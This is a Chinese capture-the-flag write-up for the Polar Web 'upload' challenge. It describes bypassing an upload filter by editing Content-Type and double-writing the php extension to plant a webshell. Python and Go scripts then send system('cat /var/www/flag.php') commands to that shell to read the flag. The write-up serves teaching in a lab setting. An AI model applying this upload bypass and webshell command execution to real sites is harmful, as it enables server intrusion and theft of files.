Polar Web【简单】upload
Contents
- Polar Web【简单】upload
- 思路
- EXP
- Python
- Go
- 运行&总结
思路
如题目所说,本题考查的是文件上传漏洞的渗透技巧。
- 打开环境,发现需要上传的是图片文件,故考虑使用截取数据包进行数据修改进行重放。
- 在重发器中修改
Content-Type
后,正常上传shell.php
发现,程序过滤了文件后缀php
,因此考虑进行双写尝试绕过,双写处理后上传发现,程序只做一次过滤,至此成功上传木马。- 本题尝试使用脚本代替工具进行测试,具体逻辑如后文代码所示,最终拿取
flag
。
EXP
Python
import requests
def exe(url):
command = 'system("cat /var/www/flag.php");'
data = {
'cmd': command
}
resp = requests.post(url=url, data=data)
if resp.text:
out = resp.text
print(out[out.rindex('flag'):out.rindex("'")])
else:
print("Nothing...")
if __name__ == '__main__':
u = 'http://~.www.polarctf.com:8090/upload/[your_number]shell.php'
exe(url=u)
Go
package main
import (
"fmt"
"io/ioutil"
"net/http"
"net/url"
"strings"
)
func attack(url_ string) {
data := url.Values{}
data.Add("cmd", "system(\"cat /var/www/flag.php\");")
if resp, err := http.PostForm(url_, data); err != nil {
panic("GET ERR: " + err.Error())
} else {
out, _ := ioutil.ReadAll(resp.Body)
ans := string(out)
fmt.Println(ans[strings.LastIndex(ans, "flag"): strings.LastIndex(ans, "'")])
}
}
func main() {
baseURL := "http://~.www.polarctf.com:8090/upload/[your_number]shell.php"
// 解析基础 URL
u, err := url.Parse(baseURL)
if err != nil {
panic(err)
}
attack(u.String())
}
运行&总结
- 本题主要考查了文件上传漏洞中的双写绕过技巧
- 借以本题,进行了使用脚本进行Webshell利用的尝试